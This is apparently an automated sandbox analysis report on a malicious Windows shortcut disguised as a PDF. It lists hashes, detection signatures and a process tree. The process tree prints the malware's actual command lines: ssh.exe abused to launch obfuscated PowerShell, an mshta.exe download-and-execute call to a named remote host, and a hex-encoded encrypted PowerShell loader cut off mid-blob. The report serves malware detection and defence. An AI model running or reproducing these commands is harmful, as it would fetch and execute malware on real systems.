Edit tour
Windows
Analysis Report
Instruction_695-18112-002_Rev.PDF.lnk (2).d.lnk
Overview
General Information
| Sample name: | Instruction_695-18112-002_Rev.PDF.lnk (2).d.lnk |
| Analysis ID: | 1576547 |
| MD5: | ae4dbbe945aeacfa5bb920e8d85cd0cb |
| SHA1: | 36a91b26586d8e758ac0dcf09f9d5ed40de75b3a |
| SHA256: | f767f605802f74a578ced15d21e057249c9237dc0b4c09dbadc2d0e996411e91 |
| Tags: | lnkstaticklipxuhaq-shopuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Connects to a pastebin service (likely for C&C)
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Machine Learning detection for sample
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Lolbin Ssh.exe Use As Proxy
Sigma detected: Suspicious Execution of Powershell with Base64
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
ssh.exe (PID: 6480 cmdline: "C:\Window s\System32 \OpenSSH\s sh.exe" -o ProxyComm and="power shell powe rshell -Co mmand ('m] ]]]]]]sh]] ]]]]]ta]]] ]]].]]]]]e ]]]]]]x]]] ]]e]]]]] h ]]]]]tt]]] ]]]ps:]]]] ]]/]]]]]/c ]]]]]n]]]] ]]d]]]]]]] e]]]]]]f]] ]]]]]1]]]] ].]]]]]]g] ]]]]r]]]]] ]]e]]]]]en -pa]]]]]]] th]]]]]]]w ]]]]]a]]]] ]ys.s]]]]] ho]]]]]p/] ]]]]]api]] ]]]]]/re]] ]]]]]g/]]] ]]]]z]]]]] .]]]]]mp]] ]]]4]]]]]] ' -replace ']')" . MD5: C05426E6F6DFB30FB78FBA874A2FF7DC) 
conhost.exe (PID: 7088 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6568 cmdline: powershell powershel l -Command ('m]]]]]] ]sh]]]]]]] ta]]]]]].] ]]]]e]]]]] ]x]]]]]e]] ]]] h]]]]] tt]]]]]]ps :]]]]]]/]] ]]]/c]]]]] n]]]]]]d]] ]]]]]e]]]] ]]f]]]]]]] 1]]]]].]]] ]]]g]]]]]r ]]]]]]]e]] ]]]en-pa]] ]]]]]th]]] ]]]]w]]]]] a]]]]]ys.s ]]]]]ho]]] ]]p/]]]]]] api]]]]]]] /re]]]]]]] g/]]]]]]]z ]]]]].]]]] ]mp]]]]]4] ]]]]]' -re place ']') MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 408 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://cn def1.green -pathways. shop/api/r eg/z.mp4" MD5: 04029E121A0CFA5991749937DD22A1D9) 
mshta.exe (PID: 5416 cmdline: "C:\Window s\system32 \mshta.exe " https:// cndef1.gre en-pathway s.shop/api /reg/z.mp4 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 984 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop fun ction EhNo ($fVNOW){r eturn -spl it ($fVNOW -replace '..', '0x$ & ')};$mba O = EhNo(' C38A8314C6 D512DB7448 5356BE3988 8EE9925C22 81B41A870A 93C8B2D5D6 40A69C1B84 FB174E3857 338A3F29B0 BC201CBAE4 C0E078A084 FEAB36D6E5 C129923577 A943A7B7B9 E80CD4B717 B35AB910C6 E3B0FA9A86 5CF551A2DC 2ADFCFF3EB B21EBD7DED D60EDC1302 6C15338848 5FDF1AC35B C0468A5C53 5651DF2806 D21D4018C2 A7B7E992A4 3E2DABB65D 2351BD518D 491BBBB8DF 843C260A44 1F6A53C1EF BDAF7229D9 FAE26FC27F 5B05D380BC 26CA0FEBDD 5BA5A0EB82 A1E7F9A938 B5ED11EDFE 83733EE5BD 9B41842A66 B0AED9471A A6556BF7D0 C653E7003B 7FA9B58B38 490B6F52DF 4A87D2B53F 600A141D60 A19DC2AA34 A224EF47C6 DF92B8DB56 263E9C7F55 EE4158FAD4 46B242313D DB8BF39449 DB89BC72D1 1A11652EF4 DFEFD66790 2331EA7479 4B6A67B4CD D5ACA8760D 9FFD3767A2 11C0FA2433 63A1BD5BB0 1FCA17D6AB D4E3641CB8 9FE09848FC 0B87C1682B D406B1FFB4 8111D826BF 42319F86ED DF54EF3921 81D1835103 092BD65F46 8D5CD75094 28F489C18C 9ED716C082 6433468E3D C8CAC68FE4 C8E73D4A7A F24E20E29C E8BC747E51 C7D60211D1 D9108A36E9 ED5894EC91 8826DD0D2B A213C9CBEA ED24862892 0C4034A6A1 AC220514DD 10F6495B69 7AB9FA5D22 2FF857B089 14A98EF2F4 1EEB2A13FB 672CF5121A A56B970067 2AC61423E3 29F5BE09D7 E42A8F5E74 72B06B08ED 17223AD27A B1FDCD50AE E7A03C7752 206D59395E 1E65783937 8114582CE5 288A87307A 61F294B3A9 9AC37DCCD3 C76F9B7C1E B5B34A5AF3 ADDEB53175 C886FD46CD 841BCCAEC9 9CEB11DA01 6155A42819 0129B6CD87 EFFECA8E9B 27B519708E D1C4B71E48 54A661A036 B6CBE8BD27 51B09AC153 946351DD8D 6D3E057C12 BAB88D69DD 739087AF88 2D851CE6D6 E1E28A9622 113D283879 B560AC3C94 753656293B 30A504C24C 3B832C6B0F 7F82A720EE BFE712E1B1 1CD932C9E5 C7D456C068 67A74AD3A9 7F905CED36 247B87F062 5B42F75BA4 945635B18A 82EDF26E58 61C329BFEA DAF94CA576 635764882B 1CD7A6E75D 104129FC22 4EBFBEB94A 628CEA56F0 A3828F4071 0143735DA3 1B59251696 4E704BB489 E450292571 ED1B8EE1F0 01AE77C6FC 25B2078E74 A31D038E1D 03ACCA3C7C 6A8FAB337C 633522A666 04A1BB8B9C 555E3BBE63 48CE9B111D 471D213702 C17F614C86 FBF8FE91B3 781D35DF5B 128CC95ED1 667145FE3B 243E6951A9 455CAEC033 289D883DFB 031E516E03 7E4A466816 2AD2AD1D87 1E1870AFCE 9730FA8366 26E94F8030 7146B75CF9 E7AC57BC4D C6ADAC9FBA E30D68030A E39A44BC03 8FC72594DA E859A18102 3D142321D6 A31CB9F0B8 4D661BEC72 BF3124F1B6 0880A358FE 25760E1BD0 A0F6392FB0 747B86C767 385A6E06D6 207459916C 16AECB2F1F 5BD994DB8C A214ECFE96 CB37CA7850 202770519A 107DC62590 038A540A91 4AFE664965 B277561635 66BE349ED7 7E33B9B52E B997973111 23C2913E9D DAC39EB6EC FF220A911F 4CBA4BBCA4 2E3EFE5F7A 92756B074D A2DEB89D42 5B04034B27 0C25948C41 781E22C34A 0F380A6C22 935256D478 47BB6239FA F39D9D1FC1 EA9D6E43EF